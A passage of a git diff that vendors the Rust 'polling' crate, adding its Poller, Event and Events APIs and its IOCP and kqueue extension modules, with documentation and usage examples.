set_priority(&mut self, active: bool) { + self.extra.set_pri(active); + } + + /// Add priority events to this interest. + /// + /// This indicates that there is urgent data to read. It corresponds to the `EPOLLPRI` and + /// `POLLPRI` events. + /// + /// Priority events are only supported on the following platforms: + /// + /// - `epoll` + /// - `poll` + /// - IOCP + /// - Event Ports + /// + /// On other platforms, this function is a no-op. + #[inline] + pub fn with_priority(mut self) -> Self { + self.set_priority(true); + self + } + + /// Tell if this event is the result of an interrupt notification. + /// + /// This usually indicates that the file descriptor or socket has been closed. It corresponds + /// to the `EPOLLHUP` and `POLLHUP` events. + /// + /// Interruption events are only supported on the following platforms: + /// + /// - `epoll` + /// - `poll` + /// - IOCP + /// - Event Ports + /// + /// On other platforms, this always returns `false`. + #[inline] + pub fn is_interrupt(&self) -> bool { + self.extra.is_hup() + } + + /// Tell if this event is the result of a priority notification. + /// + /// This indicates that there is urgent data to read. It corresponds to the `EPOLLPRI` and + /// `POLLPRI` events. + /// + /// Priority events are only supported on the following platforms: + /// + /// - `epoll` + /// - `poll` + /// - IOCP + /// - Event Ports + /// + /// On other platforms, this always returns `false`. + #[inline] + pub fn is_priority(&self) -> bool { + self.extra.is_pri() + } + + /// Tells if this event is the result of a connection failure. + /// + /// This function checks if a TCP connection has failed. It corresponds to the `EPOLLERR` or `EPOLLHUP` event in Linux + /// and `CONNECT_FAILED` event in Windows IOCP. + /// + /// # Examples + /// + /// ``` + /// use std::{io, net}; + /// // Assuming polling and socket2 are included as dependencies in Cargo.toml + /// use polling::Event; + /// use socket2::Type; + /// + /// fn main() -> io::Result<()> { + /// let socket = socket2::Socket::new(socket2::Domain::IPV4, Type::STREAM, None)?; + /// let poller = polling::Poller::new()?; + /// unsafe { + /// poller.add(&socket, Event::new(0, true, true))?; + /// } + /// let addr = net::SocketAddr::new(net::Ipv4Addr::LOCALHOST.into(), 8080); + /// socket.set_nonblocking(true)?; + /// let _ = socket.connect(&addr.into()); + /// + /// let mut events = polling::Events::new(); + /// + /// events.clear(); + /// poller.wait(&mut events, None)?; + /// + /// let event = events.iter().next(); + /// + /// let event = match event { + /// Some(event) => event, + /// None => { + /// println!("no event"); + /// return Ok(()); + /// }, + /// }; + /// + /// println!("event: {:?}", event); + /// if event + /// .is_connect_failed() + /// .unwrap_or_default() + /// { + /// println!("connect failed"); + /// } + /// + /// Ok(()) + /// } + /// ``` + /// + /// # Returns + /// + /// Returns `Some(true)` if the connection has failed, `Some(false)` if the connection has not failed, + /// or `None` if the platform does not support detecting this condition. + #[inline] + #[deprecated( + since = "3.4.0", + note = "use `is_err` in combination of is_hup instead, see documentation for `is_err`" + )] + pub fn is_connect_failed(&self) -> Option { + self.extra.is_connect_failed() + } + + /// Tells if this event is the result of a connection failure. + /// + /// This function checks if an error exist, particularly useful in detecting if TCP connection failed. It corresponds to the `EPOLLERR` event in Linux + /// and `CONNECT_FAILED` event in Windows IOCP. + /// + /// ## Caveats + /// + /// In `epoll`, a TCP connection failure is indicated by `EPOLLERR` + `EPOLLHUP`, though just `EPOLLERR` is enough to indicate a connection failure. + /// EPOLLHUP may happen when we haven't event called `connect` on the socket, but it is still a valid event to check for. + /// + /// Returns `Some(true)` if the connection has failed, `Some(false)` if there is no error, + /// or `None` if the platform does not support detecting this condition. + #[inline] + pub fn is_err(&self) -> Option { + self.extra.is_err() + } + + /// Remove any extra information from this event. + #[inline] + pub fn clear_extra(&mut self) { + self.extra = sys::EventExtra::empty(); + } + + /// Get a version of this event with no extra information. + /// + /// This is useful for comparing events with `==`. + #[inline] + pub fn with_no_extra(mut self) -> Self { + self.clear_extra(); + self + } +} + +/// Waits for I/O events. +pub struct Poller { + poller: sys::Poller, + lock: Mutex<()>, + notified: AtomicBool, +} + +impl Poller { + /// Creates a new poller. + /// + /// # Examples + /// + /// ``` + /// use polling::Poller; + /// + /// let poller = Poller::new()?; + /// # std::io::Result::Ok(()) + /// ``` + pub fn new() -> io::Result { + Ok(Poller { + poller: sys::Poller::new()?, + lock: Mutex::new(()), + notified: AtomicBool::new(false), + }) + } + + /// Tell whether or not this `Poller` supports level-triggered polling. + pub fn supports_level(&self) -> bool { + self.poller.supports_level() + } + + /// Tell whether or not this `Poller` supports edge-triggered polling. + pub fn supports_edge(&self) -> bool { + self.poller.supports_edge() + } + + /// Adds a file descriptor or socket to the poller. + /// + /// A file descriptor or socket is considered readable or writable when a read or write + /// operation on it would not block. This doesn't mean the read or write operation will + /// succeed, it only means the operation will return immediately. + /// + /// If interest is set in both readability and writability, the two kinds of events might be + /// delivered either separately or together. + /// + /// For example, interest in `Event { key: 7, readable: true, writable: true }` might result in + /// a single [`Event`] of the same form, or in two separate [`Event`]s: + /// - `Event { key: 7, readable: true, writable: false }` + /// - `Event { key: 7, readable: false, writable: true }` + /// + /// Note that interest in I/O events needs to be re-enabled using + /// [`modify()`][`Poller::modify()`] again after an event is delivered if we're interested in + /// the next event of the same kind. + /// + /// It is possible to register interest in the same file descriptor or socket using multiple + /// separate [`Poller`] instances. When the event is delivered, one or more [`Poller`]s are + /// notified with that event. The exact number of [`Poller`]s notified depends on the + /// underlying platform. When registering multiple sources into one event, the user should + /// be careful to accommodate for events lost to other pollers. + /// + /// One may also register one source into other, non-`polling` event loops, like GLib's + /// context. While the plumbing will vary from platform to platform, in general the [`Poller`] + /// will act as if the source was registered with another [`Poller`], with the same caveats + /// as above. + /// + /// # Safety + /// + /// The source must be [`delete()`]d from this `Poller` before it is dropped. + /// + /// [`delete()`]: Poller::delete + /// + /// # Errors + /// + /// This method returns an error in the following situations: + /// + /// * If `key` equals `usize::MAX` because that key is reserved for internal use. + /// * If an error is returned by the syscall. + /// + /// # Examples + /// + /// Set interest in all events: + /// + /// ```no_run + /// use polling::{Event, Poller}; + /// + /// let source = std::net::TcpListener::bind("127.0.0.1:0")?; + /// source.set_nonblocking(true)?; + /// let key = 7; + /// + /// let poller = Poller::new()?; + /// unsafe { + /// poller.add(&source, Event::all(key))?; + /// } + /// poller.delete(&source)?; + /// # std::io::Result::Ok(()) + /// ``` + pub unsafe fn add(&self, source: impl AsRawSource, interest: Event) -> io::Result<()> { + self.add_with_mode(source, interest, PollMode::Oneshot) + } + + /// Adds a file descriptor or socket to the poller in the specified mode. + /// + /// This is identical to the `add()` function, but allows specifying the + /// polling mode to use for this socket. + /// + /// # Safety + /// + /// The source must be [`delete()`]d from this `Poller` before it is dropped. + /// + /// [`delete()`]: Poller::delete + /// + /// # Errors + /// + /// If the operating system does not support the specified mode, this function + /// will return an error. + pub unsafe fn add_with_mode( + &self, + source: impl AsRawSource, + interest: Event, + mode: PollMode, + ) -> io::Result<()> { + if interest.key == NOTIFY_KEY { + return Err(io::Error::new( + io::ErrorKind::InvalidInput, + "the key is not allowed to be `usize::MAX`", + )); + } + self.poller.add(source.raw(), interest, mode) + } + + /// Modifies the interest in a file descriptor or socket. + /// + /// This method has the same behavior as [`add()`][`Poller::add()`] except it modifies the + /// interest of a previously added file descriptor or socket. + /// + /// To use this method with a file descriptor or socket, you must first add it using + /// [`add()`][`Poller::add()`]. + /// + /// Note that interest in I/O events needs to be re-enabled using + /// [`modify()`][`Poller::modify()`] again after an event is delivered if we're interested in + /// the next event of the same kind. + /// + /// # Errors + /// + /// This method returns an error in the following situations: + /// + /// * If `key` equals `usize::MAX` because that key is reserved for internal use. + /// * If an error is returned by the syscall. + /// + /// # Examples + /// + /// To enable interest in all events: + /// + /// ```no_run + /// # use polling::{Event, Poller}; + /// # let source = std::net::TcpListener::bind("127.0.0.1:0")?; + /// # let key = 7; + /// # let poller = Poller::new()?; + /// # unsafe { poller.add(&source, Event::none(key))?; } + /// poller.modify(&source, Event::all(key))?; + /// # std::io::Result::Ok(()) + /// ``` + /// + /// To enable interest in readable events and disable interest in writable events: + /// + /// ```no_run + /// # use polling::{Event, Poller}; + /// # let source = std::net::TcpListener::bind("127.0.0.1:0")?; + /// # let key = 7; + /// # let poller = Poller::new()?; + /// # unsafe { poller.add(&source, Event::none(key))?; } + /// poller.modify(&source, Event::readable(key))?; + /// # poller.delete(&source)?; + /// # std::io::Result::Ok(()) + /// ``` + /// + /// To disable interest in readable events and enable interest in writable events: + /// + /// ```no_run + /// # use polling::{Event, Poller}; + /// # let poller = Poller::new()?; + /// # let key = 7; + /// # let source = std::net::TcpListener::bind("127.0.0.1:0")?; + /// # unsafe { poller.add(&source, Event::none(key))? }; + /// poller.modify(&source, Event::writable(key))?; + /// # poller.delete(&source)?; + /// # std::io::Result::Ok(()) + /// ``` + /// + /// To disable interest in all events: + /// + /// ```no_run + /// # use polling::{Event, Poller}; + /// # let source = std::net::TcpListener::bind("127.0.0.1:0")?; + /// # let key = 7; + /// # let poller = Poller::new()?; + /// # unsafe { poller.add(&source, Event::none(key))?; } + /// poller.modify(&source, Event::none(key))?; + /// # poller.delete(&source)?; + /// # std::io::Result::Ok(()) + /// ``` + pub fn modify(&self, source: impl AsSource, interest: Event) -> io::Result<()> { + self.modify_with_mode(source, interest, PollMode::Oneshot) + } + + /// Modifies interest in a file descriptor or socket to the poller, but with the specified + /// mode. + /// + /// This is identical to the `modify()` function, but allows specifying the polling mode + /// to use for this socket. + /// + /// # Performance Notes + /// + /// This function can be used to change a source from one polling mode to another. However, + /// on some platforms, this switch can cause delays in the delivery of events. + /// + /// # Errors + /// + /// If the operating system does not support the specified mode, this function will return + /// an error. + pub fn modify_with_mode( + &self, + source: impl AsSource, + interest: Event, + mode: PollMode, + ) -> io::Result<()> { + if interest.key == NOTIFY_KEY { + return Err(io::Error::new( + io::ErrorKind::InvalidInput, + "the key is not allowed to be `usize::MAX`", + )); + } + self.poller.modify(source.source(), interest, mode) + } + + /// Removes a file descriptor or socket from the poller. + /// + /// Unlike [`add()`][`Poller::add()`], this method only removes the file descriptor or + /// socket from the poller without putting it back into blocking mode. + /// + /// # Examples + /// + /// ``` + /// use polling::{Event, Poller}; + /// use std::net::TcpListener; + /// + /// let socket = TcpListener::bind("127.0.0.1:0")?; + /// socket.set_nonblocking(true)?; + /// let key = 7; + /// + /// let poller = Poller::new()?; + /// unsafe { poller.add(&socket, Event::all(key))?; } + /// poller.delete(&socket)?; + /// # std::io::Result::Ok(()) + /// ``` + pub fn delete(&self, source: impl AsSource) -> io::Result<()> { + self.poller.delete(source.source()) + } + + /// Waits for at least one I/O event and returns the number of new events. + /// + /// New events will be appended to `events`. If necessary, make sure to clear the + /// [`Events`][Events::clear()] before calling [`wait()`][`Poller::wait()`]! + /// + /// This method will return with no new events if a notification is delivered by the + /// [`notify()`] method, or the timeout is reached. Sometimes it may even return with no events + /// spuriously. + /// + /// Only one thread can wait on I/O. If another thread is already in [`wait()`], concurrent + /// calls to this method will return immediately with no new events. + /// + /// If the operating system is ready to deliver a large number of events at once, this method + /// may decide to deliver them in smaller batches. + /// + /// [`notify()`]: `Poller::notify()` + /// [`wait()`]: `Poller::wait()` + /// + /// # Examples + /// + /// ``` + /// use polling::{Event, Events, Poller}; + /// use std::net::TcpListener; + /// use std::time::Duration; + /// + /// let socket = TcpListener::bind("127.0.0.1:0")?; + /// socket.set_nonblocking(true)?; + /// let key = 7; + /// + /// let poller = Poller::new()?; + /// unsafe { + /// poller.add(&socket, Event::all(key))?; + /// } + /// + /// let mut events = Events::new(); + /// let n = poller.wait(&mut events, Some(Duration::from_secs(1)))?; + /// poller.delete(&socket)?; + /// # std::io::Result::Ok(()) + /// ``` + pub fn wait(&self, events: &mut Events, timeout: Option) -> io::Result { + self.wait_impl( + events, + timeout.and_then(|timeout| Instant::now().checked_add(timeout)), + ) + } + + /// Waits for at least one I/O event and returns the number of new events, with a deadline. + /// + /// See [`wait()`][`Poller::wait()`] for more details. + pub fn wait_deadline(&self, events: &mut Events, deadline: Instant) -> io::Result { + self.wait_impl(events, Some(deadline)) + } + + fn wait_impl(&self, events: &mut Events, deadline: Option) -> io::Result { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!("Poller::wait", ?deadline); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + if let Ok(_lock) = self.lock.try_lock() { + loop { + // Wait for I/O events. + if let Err(e) = self.poller.wait_deadline(&mut events.events, deadline) { + // If the wait was interrupted by a signal, clear events and try again. + if e.kind() == io::ErrorKind::Interrupted { + events.clear(); + continue; + } else { + return Err(e); + } + } + + // Clear the notification, if any. + self.notified.swap(false, Ordering::SeqCst); + + // Indicate number of events. + return Ok(events.len()); + } + } else { + #[cfg(feature = "tracing")] + tracing::trace!("wait: skipping because another thread is already waiting on I/O"); + Ok(0) + } + } + + /// Wakes up the current or the following invocation of [`wait()`]. + /// + /// If no thread is calling [`wait()`] right now, this method will cause the following call + /// to wake up immediately. + /// + /// [`wait()`]: `Poller::wait()` + /// + /// # Examples + /// + /// ``` + /// use polling::{Events, Poller}; + /// + /// let poller = Poller::new()?; + /// + /// // Notify the poller. + /// poller.notify()?; + /// + /// let mut events = Events::new(); + /// poller.wait(&mut events, None)?; // wakes up immediately + /// assert!(events.is_empty()); + /// # std::io::Result::Ok(()) + /// ``` + pub fn notify(&self) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!("Poller::notify"); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + if self + .notified + .compare_exchange(false, true, Ordering::SeqCst, Ordering::SeqCst) + .is_ok() + { + self.poller.notify()?; + } + Ok(()) + } +} + +/// A container for I/O events. +pub struct Events { + events: sys::Events, + + /// This is intended to be used from &mut, thread locally, so we should make it !Sync + /// for consistency with the rest of the API. + _not_sync: PhantomData>, +} + +impl Default for Events { + #[inline] + fn default() -> Self { + Self::new() + } +} + +impl Events { + /// Create a new container for events, using the default capacity. + /// + /// The default capacity is 1024. + /// + /// # Examples + /// + /// ``` + /// use polling::Events; + /// + /// let events = Events::new(); + /// ``` + #[inline] + pub fn new() -> Self { + // ESP-IDF has a low amount of RAM, so we use a smaller default capacity. + #[cfg(target_os = "espidf")] + const DEFAULT_CAPACITY: usize = 32; + + #[cfg(not(target_os = "espidf"))] + const DEFAULT_CAPACITY: usize = 1024; + + Self::with_capacity(NonZeroUsize::new(DEFAULT_CAPACITY).unwrap()) + } + + /// Create a new container with the provided capacity. + /// + /// # Examples + /// + /// ``` + /// use polling::Events; + /// use std::num::NonZeroUsize; + /// + /// let capacity = NonZeroUsize::new(1024).unwrap(); + /// let events = Events::with_capacity(capacity); + /// ``` + #[inline] + pub fn with_capacity(capacity: NonZeroUsize) -> Self { + Self { + events: sys::Events::with_capacity(capacity.get()), + _not_sync: PhantomData, + } + } + + /// Create a new iterator over I/O events. + /// + /// This returns all of the events in the container, excluding the notification event. + /// + /// # Examples + /// + /// ``` + /// use polling::{Event, Events, Poller}; + /// use std::time::Duration; + /// + /// # fn main() -> std::io::Result<()> { + /// let poller = Poller::new()?; + /// let mut events = Events::new(); + /// + /// poller.wait(&mut events, Some(Duration::from_secs(0)))?; + /// assert!(events.iter().next().is_none()); + /// # Ok(()) } + /// ``` + #[inline] + pub fn iter(&self) -> impl Iterator + '_ { + self.events.iter().filter(|ev| ev.key != NOTIFY_KEY) + } + + /// Delete all of the events in the container. + /// + /// # Examples + /// + /// ```no_run + /// use polling::{Event, Events, Poller}; + /// + /// # fn main() -> std::io::Result<()> { + /// let poller = Poller::new()?; + /// let mut events = Events::new(); + /// + /// /* register some sources */ + /// + /// poller.wait(&mut events, None)?; + /// + /// events.clear(); + /// # Ok(()) } + /// ``` + #[inline] + pub fn clear(&mut self) { + self.events.clear(); + } + + /// Returns the number of events in the container. + /// + /// # Examples + /// + /// ``` + /// use polling::Events; + /// + /// let events = Events::new(); + /// assert_eq!(events.len(), 0); + /// ``` + #[inline] + pub fn len(&self) -> usize { + self.iter().count() + } + + /// Returns `true` if the container contains no events. + /// + /// # Examples + /// + /// ``` + /// use polling::Events; + /// + /// let events = Events::new(); + /// assert!(events.is_empty()); + /// ``` + #[inline] + pub fn is_empty(&self) -> bool { + self.len() == 0 + } + + /// Get the total capacity of the list. + /// + /// # Examples + /// + /// ``` + /// use polling::Events; + /// use std::num::NonZeroUsize; + /// + /// let cap = NonZeroUsize::new(10).unwrap(); + /// let events = Events::with_capacity(std::num::NonZeroUsize::new(10).unwrap()); + /// assert_eq!(events.capacity(), cap); + /// ``` + #[inline] + pub fn capacity(&self) -> NonZeroUsize { + NonZeroUsize::new(self.events.capacity()).unwrap() + } +} + +impl fmt::Debug for Events { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.write_str("Events { .. }") + } +} + +#[cfg(all( + any( + target_os = "linux", + target_os = "android", + target_os = "redox", + target_os = "illumos", + target_os = "solaris", + target_vendor = "apple", + target_os = "freebsd", + target_os = "netbsd", + target_os = "openbsd", + target_os = "dragonfly", + ), + not(polling_test_poll_backend), +))] +#[cfg_attr( + docsrs, + doc(cfg(any( + target_os = "linux", + target_os = "android", + target_os = "redox", + target_os = "illumos", + target_os = "solaris", + target_vendor = "apple", + target_os = "freebsd", + target_os = "netbsd", + target_os = "openbsd", + target_os = "dragonfly", + ))) +)] +mod raw_fd_impl { + use crate::Poller; + use std::os::unix::io::{AsFd, AsRawFd, BorrowedFd, RawFd}; + + impl AsRawFd for Poller { + fn as_raw_fd(&self) -> RawFd { + self.poller.as_raw_fd() + } + } + + impl AsFd for Poller { + fn as_fd(&self) -> BorrowedFd<'_> { + self.poller.as_fd() + } + } +} + +#[cfg(windows)] +#[cfg_attr(docsrs, doc(cfg(windows)))] +mod raw_handle_impl { + use crate::Poller; + use std::os::windows::io::{AsHandle, AsRawHandle, BorrowedHandle, RawHandle}; + + impl AsRawHandle for Poller { + fn as_raw_handle(&self) -> RawHandle { + self.poller.as_raw_handle() + } + } + + impl AsHandle for Poller { + fn as_handle(&self) -> BorrowedHandle<'_> { + self.poller.as_handle() + } + } +} + +impl fmt::Debug for Poller { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + self.poller.fmt(f) + } +} + +cfg_if! { + if #[cfg(any(unix, target_os = "hermit"))] { + #[cfg(unix)] + use std::os::unix::io::{AsRawFd, RawFd, AsFd, BorrowedFd}; + #[cfg(target_os = "hermit")] + use std::os::hermit::io::{AsRawFd, RawFd, AsFd, BorrowedFd}; + + /// A resource with a raw file descriptor. + pub trait AsRawSource { + /// Returns the raw file descriptor. + fn raw(&self) -> RawFd; + } + + impl AsRawSource for &T { + fn raw(&self) -> RawFd { + self.as_raw_fd() + } + } + + impl AsRawSource for RawFd { + fn raw(&self) -> RawFd { + *self + } + } + + /// A resource with a borrowed file descriptor. + pub trait AsSource: AsFd { + /// Returns the borrowed file descriptor. + fn source(&self) -> BorrowedFd<'_> { + self.as_fd() + } + } + + impl AsSource for T {} + } else if #[cfg(windows)] { + use std::os::windows::io::{AsRawSocket, RawSocket, AsSocket, BorrowedSocket}; + + /// A resource with a raw socket. + pub trait AsRawSource { + /// Returns the raw socket. + fn raw(&self) -> RawSocket; + } + + impl AsRawSource for &T { + fn raw(&self) -> RawSocket { + self.as_raw_socket() + } + } + + impl AsRawSource for RawSocket { + fn raw(&self) -> RawSocket { + *self + } + } + + /// A resource with a borrowed socket. + pub trait AsSource: AsSocket { + /// Returns the borrowed socket. + fn source(&self) -> BorrowedSocket<'_> { + self.as_socket() + } + } + + impl AsSource for T {} + } +} + +#[allow(unused)] +fn unsupported_error(err: impl Into) -> io::Error { + io::Error::new(io::ErrorKind::Unsupported, err.into()) +} + +fn _assert_send_and_sync() { + fn assert_send() {} + fn assert_sync() {} + + assert_send::(); + assert_sync::(); + + assert_send::(); + assert_sync::(); + + assert_send::(); + // Events can be !Sync +} diff --git a/lib/malio/polling/src/os.rs b/lib/malio/polling/src/os.rs new file mode 100644 index 0000000..35f5d1a --- /dev/null +++ b/lib/malio/polling/src/os.rs @@ -0,0 +1,24 @@ +//! Platform-specific functionality. + +#[cfg(all( + any( + target_vendor = "apple", + target_os = "freebsd", + target_os = "netbsd", + target_os = "openbsd", + target_os = "dragonfly", + ), + not(polling_test_poll_backend), +))] +pub mod kqueue; + +#[cfg(target_os = "windows")] +pub mod iocp; + +mod __private { + #[doc(hidden)] + #[allow(dead_code)] + pub trait PollerSealed {} + + impl PollerSealed for crate::Poller {} +} diff --git a/lib/malio/polling/src/os/iocp.rs b/lib/malio/polling/src/os/iocp.rs new file mode 100644 index 0000000..3370118 --- /dev/null +++ b/lib/malio/polling/src/os/iocp.rs @@ -0,0 +1,253 @@ +//! Functionality that is only available for IOCP-based platforms. + +pub use crate::sys::CompletionPacket; + +use super::__private::PollerSealed; +use crate::{Event, PollMode, Poller}; + +use std::io; +use std::os::windows::io::{AsRawHandle, RawHandle}; +use std::os::windows::prelude::{AsHandle, BorrowedHandle}; + +/// Extension trait for the [`Poller`] type that provides functionality specific to IOCP-based +/// platforms. +/// +/// [`Poller`]: crate::Poller +pub trait PollerIocpExt: PollerSealed { + /// Post a new [`Event`] to the poller. + /// + /// # Examples + /// + /// ```rust + /// use polling::{Poller, Event, Events}; + /// use polling::os::iocp::{CompletionPacket, PollerIocpExt}; + /// + /// use std::thread; + /// use std::sync::Arc; + /// use std::time::Duration; + /// + /// # fn main() -> std::io::Result<()> { + /// // Spawn a thread to wake us up after 100ms. + /// let poller = Arc::new(Poller::new()?); + /// thread::spawn({ + /// let poller = poller.clone(); + /// move || { + /// let packet = CompletionPacket::new(Event::readable(0)); + /// thread::sleep(Duration::from_millis(100)); + /// poller.post(packet).unwrap(); + /// } + /// }); + /// + /// // Wait for the event. + /// let mut events = Events::new(); + /// poller.wait(&mut events, None)?; + /// + /// assert_eq!(events.len(), 1); + /// # Ok(()) } + /// ``` + fn post(&self, packet: CompletionPacket) -> io::Result<()>; + + /// Add a waitable handle to this poller. + /// + /// Some handles in Windows are "waitable", which means that they emit a "readiness" signal + /// after some event occurs. This function can be used to wait for such events to occur + /// on a handle. This function can be used in addition to regular socket polling. + /// + /// Waitable objects include the following: + /// + /// - Console inputs + /// - Waitable events + /// - Mutexes + /// - Processes + /// - Semaphores + /// - Threads + /// - Timer + /// + /// Once the object has been signalled, the poller will emit the `interest` event. + /// + /// # Safety + /// + /// The added handle must not be dropped before it is deleted. + /// + /// # Examples + /// + /// ```no_run + /// use polling::{Poller, Event, Events, PollMode}; + /// use polling::os::iocp::PollerIocpExt; + /// + /// use std::process::Command; + /// + /// // Spawn a new process. + /// let mut child = Command::new("echo") + /// .arg("Hello, world!") + /// .spawn() + /// .unwrap(); + /// + /// // Create a new poller. + /// let poller = Poller::new().unwrap(); + /// + /// // Add the child process to the poller. + /// unsafe { + /// poller.add_waitable(&child, Event::all(0), PollMode::Oneshot).unwrap(); + /// } + /// + /// // Wait for the child process to exit. + /// let mut events = Events::new(); + /// poller.wait(&mut events, None).unwrap(); + /// + /// assert_eq!(events.len(), 1); + /// assert_eq!(events.iter().next().unwrap(), Event::all(0)); + /// ``` + unsafe fn add_waitable( + &self, + handle: impl AsRawWaitable, + interest: Event, + mode: PollMode, + ) -> io::Result<()>; + + /// Modify an existing waitable handle. + /// + /// This function can be used to change the emitted event and/or mode of an existing waitable + /// handle. The handle must have been previously added to the poller using [`add_waitable`]. + /// + /// [`add_waitable`]: Self::add_waitable + /// + /// # Examples + /// + /// ```no_run + /// use polling::{Poller, Event, Events, PollMode}; + /// use polling::os::iocp::PollerIocpExt; + /// + /// use std::process::Command; + /// + /// // Spawn a new process. + /// let mut child = Command::new("echo") + /// .arg("Hello, world!") + /// .spawn() + /// .unwrap(); + /// + /// // Create a new poller. + /// let poller = Poller::new().unwrap(); + /// + /// // Add the child process to the poller. + /// unsafe { + /// poller.add_waitable(&child, Event::all(0), PollMode::Oneshot).unwrap(); + /// } + /// + /// // Wait for the child process to exit. + /// let mut events = Events::new(); + /// poller.wait(&mut events, None).unwrap(); + /// + /// assert_eq!(events.len(), 1); + /// assert_eq!(events.iter().next().unwrap(), Event::all(0)); + /// + /// // Modify the waitable handle. + /// poller.modify_waitable(&child, Event::readable(0), PollMode::Oneshot).unwrap(); + /// ``` + fn modify_waitable( + &self, + handle: impl AsWaitable, + interest: Event, + mode: PollMode, + ) -> io::Result<()>; + + /// Remove a waitable handle from this poller. + /// + /// This function can be used to remove a waitable handle from the poller. The handle must + /// have been previously added to the poller using [`add_waitable`]. + /// + /// [`add_waitable`]: Self::add_waitable + /// + /// # Examples + /// + /// ```no_run + /// use polling::{Poller, Event, Events, PollMode}; + /// use polling::os::iocp::PollerIocpExt; + /// + /// use std::process::Command; + /// + /// // Spawn a new process. + /// let mut child = Command::new("echo") + /// .arg("Hello, world!") + /// .spawn() + /// .unwrap(); + /// + /// // Create a new poller. + /// let poller = Poller::new().unwrap(); + /// + /// // Add the child process to the poller. + /// unsafe { + /// poller.add_waitable(&child, Event::all(0), PollMode::Oneshot).unwrap(); + /// } + /// + /// // Wait for the child process to exit. + /// let mut events = Events::new(); + /// poller.wait(&mut events, None).unwrap(); + /// + /// assert_eq!(events.len(), 1); + /// assert_eq!(events.iter().next().unwrap(), Event::all(0)); + /// + /// // Remove the waitable handle. + /// poller.remove_waitable(&child).unwrap(); + /// ``` + fn remove_waitable(&self, handle: impl AsWaitable) -> io::Result<()>; +} + +impl PollerIocpExt for Poller { + fn post(&self, packet: CompletionPacket) -> io::Result<()> { + self.poller.post(packet) + } + + unsafe fn add_waitable( + &self, + handle: impl AsRawWaitable, + event: Event, + mode: PollMode, + ) -> io::Result<()> { + self.poller + .add_waitable(handle.as_raw_handle(), event, mode) + } + + fn modify_waitable( + &self, + handle: impl AsWaitable, + interest: Event, + mode: PollMode, + ) -> io::Result<()> { + self.poller + .modify_waitable(handle.as_waitable().as_raw_handle(), interest, mode) + } + + fn remove_waitable(&self, handle: impl AsWaitable) -> io::Result<()> { + self.poller + .remove_waitable(handle.as_waitable().as_raw_handle()) + } +} + +/// A type that represents a waitable handle. +pub trait AsRawWaitable { + /// Returns the raw handle of this waitable. + fn as_raw_handle(&self) -> RawHandle; +} + +impl AsRawWaitable for RawHandle { + fn as_raw_handle(&self) -> RawHandle { + *self + } +} + +impl AsRawWaitable for &T { + fn as_raw_handle(&self) -> RawHandle { + AsRawHandle::as_raw_handle(*self) + } +} + +/// A type that represents a waitable handle. +pub trait AsWaitable: AsHandle { + /// Returns the raw handle of this waitable. + fn as_waitable(&self) -> BorrowedHandle<'_> { + self.as_handle() + } +} + +impl AsWaitable for T {} diff --git a/lib/malio/polling/src/os/kqueue.rs b/lib/malio/polling/src/os/kqueue.rs new file mode 100644 index 0000000..ad70a95 --- /dev/null +++ b/lib/malio/polling/src/os/kqueue.rs @@ -0,0 +1,304 @@ +//! Functionality that is only available for `kqueue`-based platforms. + +use crate::sys::{mode_to_flags, SourceId}; +use crate::{PollMode, Poller}; + +use std::io; +use std::marker::PhantomData; +use std::process::Child; +use std::time::Duration; + +use rustix::event::kqueue; + +use super::__private::PollerSealed; +use __private::FilterSealed; + +// TODO(notgull): We should also have EVFILT_AIO, EVFILT_VNODE and EVFILT_USER. However, the current +// API makes it difficult to effectively express events from these filters. At the next breaking +// change, we should change `Event` to be a struct with private fields, and encode additional +// information in there. + +/// Functionality that is only available for `kqueue`-based platforms. +/// +/// `kqueue` is able to monitor much more than just read/write readiness on file descriptors. Using +/// this extension trait, you can monitor for signals, process exits, and more. See the implementors +/// of the [`Filter`] trait for more information. +pub trait PollerKqueueExt: PollerSealed { + /// Add a filter to the poller. + /// + /// This is similar to [`add`][Poller::add], but it allows you to specify a filter instead of + /// a socket. See the implementors of the [`Filter`] trait for more information. + /// + /// # Examples + /// + /// ```no_run + /// use polling::{Events, Poller, PollMode}; + /// use polling::os::kqueue::{Filter, PollerKqueueExt, Signal}; + /// + /// let poller = Poller::new().unwrap(); + /// + /// // Register the SIGINT signal. + /// poller.add_filter(Signal(rustix::process::Signal::INT.as_raw()), 0, PollMode::Oneshot).unwrap(); + /// + /// // Wait for the signal. + /// let mut events = Events::new(); + /// poller.wait(&mut events, None).unwrap(); + /// # let _ = events; + /// ``` + fn add_filter(&self, filter: F, key: usize, mode: PollMode) -> io::Result<()>; + + /// Modify a filter in the poller. + /// + /// This is similar to [`modify`][Poller::modify], but it allows you to specify a filter + /// instead of a socket. See the implementors of the [`Filter`] trait for more information. + /// + /// # Examples + /// + /// ```no_run + /// use polling::{Events, Poller, PollMode}; + /// use polling::os::kqueue::{Filter, PollerKqueueExt, Signal}; + /// + /// let poller = Poller::new().unwrap(); + /// + /// // Register the SIGINT signal. + /// poller.add_filter(Signal(rustix::process::Signal::INT.as_raw()), 0, PollMode::Oneshot).unwrap(); + /// + /// // Re-register with a different key. + /// poller.modify_filter(Signal(rustix::process::Signal::INT.as_raw()), 1, PollMode::Oneshot).unwrap(); + /// + /// // Wait for the signal. + /// let mut events = Events::new(); + /// poller.wait(&mut events, None).unwrap(); + /// # let _ = events; + /// ``` + fn modify_filter(&self, filter: F, key: usize, mode: PollMode) -> io::Result<()>; + + /// Remove a filter from the poller. + /// + /// This is used to remove filters that were previously added with + /// [`add_filter`](PollerKqueueExt::add_filter). + /// + /// # Examples + /// + /// ```no_run + /// use polling::{Poller, PollMode}; + /// use polling::os::kqueue::{Filter, PollerKqueueExt, Signal}; + /// + /// let poller = Poller::new().unwrap(); + /// + /// // Register the SIGINT signal. + /// poller.add_filter(Signal(rustix::process::Signal::INT.as_raw()), 0, PollMode::Oneshot).unwrap(); + /// + /// // Remove the filter. + /// poller.delete_filter(Signal(rustix::process::Signal::INT.as_raw())).unwrap(); + /// ``` + fn delete_filter(&self, filter: F) -> io::Result<()>; +} + +impl PollerKqueueExt for Poller { + #[inline(always)] + fn add_filter(&self, filter: F, key: usize, mode: PollMode) -> io::Result<()> { + // No difference between adding and modifying in kqueue. + self.poller.add_source(filter.source_id())?; + self.modify_filter(filter, key, mode) + } + + fn 